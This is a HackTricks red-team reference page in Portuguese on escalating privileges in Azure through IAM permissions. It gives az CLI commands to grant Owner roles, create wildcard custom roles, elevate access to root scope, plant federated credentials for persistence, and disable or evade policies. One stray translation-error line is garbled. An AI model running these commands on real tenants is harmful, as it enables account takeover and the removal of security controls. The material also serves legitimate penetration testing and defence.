Az - Azure IAM Privesc (Authorization)

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoie o HackTricks

Azure IAM

Para mais informações, verifique:

Az - Entra ID (AzureAD) & Azure IAM

Permissões que permitem que um principal altere a própria authorization geralmente são privesc primitives. Isso é especialmente perigoso quando são concedidas em escopos de management group ou subscription, porque as permissões são herdadas por recursos filhos.

Microsoft.Authorization/roleAssignments/write

Essa permissão permite criar role assignments em um escopo específico, permitindo que um atacante escale privilégios atribuindo a si mesmo ou a outro principal controlado uma role mais privilegiada.

Fluxo típico:

# Login and confirm current context
az login
az account show

# Enumerate current assignments and find the custom role granting this action
az role assignment list --all --output table
az role definition list --name "<role-definition-name>"

Se o principal comprometido tiver esta ação sobre um escopo, ele pode conceder diretamente uma role privilegiada, como Owner, Contributor, Key Vault Secrets Officer, ou qualquer outra role built-in/custom disponível nesse escopo:

# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"

Conhecer o principal object ID do target user/service principal/managed identity é suficiente para conceder a nova role. Isso pode ser abusado para self-privesc, lateral movement, ou persistence ao atribuir a role a um diferente controlled principal.

Microsoft.Authorization/roleDefinitions/write

Esta permissão permite criar ou modificar custom role definitions. Na prática, isso é perigoso porque um atacante pode:

  • Modify uma custom role que já está assigned ao compromised principal, tornando as novas permissions efetivas imediatamente.
  • Create uma nova over-privileged custom role e então atribuí-la, normalmente fazendo chaining com Microsoft.Authorization/roleAssignments/write.

Typical flow:

# Find the current assignments
az role assignment list --all --output table

# Review the role definition currently assigned to the compromised principal
az role definition list --name "<role-definition-name>"

{“error”:“Faltou o conteúdo que deve ser colocado em role.json.”}

{
"roleName": "<name of the role>",
"Name": "<name of the role>",
"IsCustom": true,
"Description": "Custom role with elevated privileges",
"Actions": ["*"],
"NotActions": [],
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"],
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>"
}

Então atualize as permissões da role com a definição anterior chamando:

az role definition update --role-definition role.json

Se a role modificada já estiver atribuída ao atacante, isso pode ser um caminho mais rápido do que criar uma nova role assignment, porque a permission inflation se aplica à assignment existente.
Se o atacante tiver apenas roleDefinitions/write, ele ainda pode weaponize it modificando roles já atribuídas a principals comprometidos.

Microsoft.Authorization/elevateAccess/action

Este permissions permite elevar privilégios e conseguir assign permissions para qualquer principal em Azure resources. Ele foi feito para ser concedido a Entra ID Global Administrators para que eles também possam manage permissions sobre Azure resources.

Tip

Acho que o user precisa ser Global Administrator no Entrad ID para a elevate call funcionar.

# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"

# Grant a user the Owner role
az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"

Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write

Esta permission permite criar/atualizar Federated Identity Credentials (FICs) em user-assigned managed identities. Na prática, isso permite que um attacker adicione uma nova trust relationship a um external identity provider e depois obtenha tokens como essa managed identity.

Este é um persistence / identity hijacking primitive: se a managed identity já tiver acesso a Azure resources, o attacker só precisa criar um external workload correspondente (por exemplo, um GitHub Actions workflow) e trocar o external token por Azure tokens.

Pontos úteis para verificar antes de abusá-la:

  • Qual managed identity pode ser modificada
  • Quais scope/roles já estão atribuídos a essa managed identity
  • Quais issuer, subject e audience serão aceitos durante a token exchange

Você pode criar o FIC com o dedicated CLI command:

az identity federated-credential create \
--name "github-federated-identity" \
--identity-name testMI \
--resource-group bialystok-rg \
--issuer "https://token.actions.githubusercontent.com" \
--subject "repo:REPO/IAMTEST:ref:refs/heads/main" \
--audiences "api://AzureADTokenExchange"

Ou com raw REST.

Exemplo de comando para dar acesso a um repositório GitHub a uma managed identity:

# Generic example:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'

# Example with specific data:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'

Uma vez que o FIC é criado, o attacker pode autenticar a partir da external workload e usar as managed identity permissions já concedidas no Azure. Para mais informações sobre abusing GitHub OIDC / workload identity, verifique:

Az Federation Abuse

Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete

Um attacker com a permissão Microsoft.Authorization/policyAssignments/write ou Microsoft.Authorization/policyAssignments/delete sobre um management group, subscription, ou resource group pode modify ou delete Azure policy assignments, potencialmente disabling security restrictions que bloqueiam operações específicas.

Isso permite acesso a resources ou funcionalidades que estavam anteriormente protegidos pela policy.

Delete a policy assignment:

az policy assignment delete \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

Desabilitar uma policy assignment:

az policy assignment update \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
--enforcement-mode Disabled

Verifique as mudanças:

# List policy assignments
az policy assignment list \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

# Show specific policy assignment details
az policy assignment show \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

Microsoft.Authorization/policyDefinitions/write

Um atacante com a permissão Microsoft.Authorization/policyDefinitions/write pode modificar Azure policy definitions, alterando as regras que controlam restrições de segurança em todo o ambiente.

Por exemplo, uma policy que limita as regiões permitidas para criar resources pode ser modificada para permitir qualquer região, ou o efeito da policy pode ser alterado para torná-la ineficaz.

Modificar uma policy definition:

az policy definition update \
--name "<policyDefinitionName>" \
--rules @updated-policy-rules.json

Verificar as mudanças:

az policy definition list --output table

az policy definition show --name "<policyDefinitionName>"

Microsoft.Management/managementGroups/write

Um atacante com a permissão Microsoft.Management/managementGroups/write pode modificar a estrutura hierárquica dos management groups ou criar novos management groups, potencialmente contornando policies restritivas aplicadas em níveis mais altos.

Por exemplo, um atacante pode criar um novo management group sem policies restritivas e então mover subscriptions para ele.

Criar um novo management group:

az account management-group create \
--name "yourMGname" \
--display-name "yourMGDisplayName"

Modificar uma management group hierarchy:

az account management-group update \
--name "<managementGroupId>" \
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"

Verifique as mudanças:

az account management-group list --output table

az account management-group show \
--name "<managementGroupId>" \
--expand

Microsoft.Management/managementGroups/subscriptions/write

Um attacker com a permissão Microsoft.Management/managementGroups/subscriptions/write pode mover subscriptions entre management groups, potencialmente evadindo políticas restritivas ao mover uma subscription para um group com policies menos restritivas ou sem policies.

Mover uma subscription para um management group diferente:

az account management-group subscription add \
--name "<managementGroupName>" \
--subscription "<subscriptionId>"

Verifique as alterações:

az account management-group subscription show \
--name "<managementGroupId>" \
--subscription "<subscriptionId>"

References

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoie o HackTricks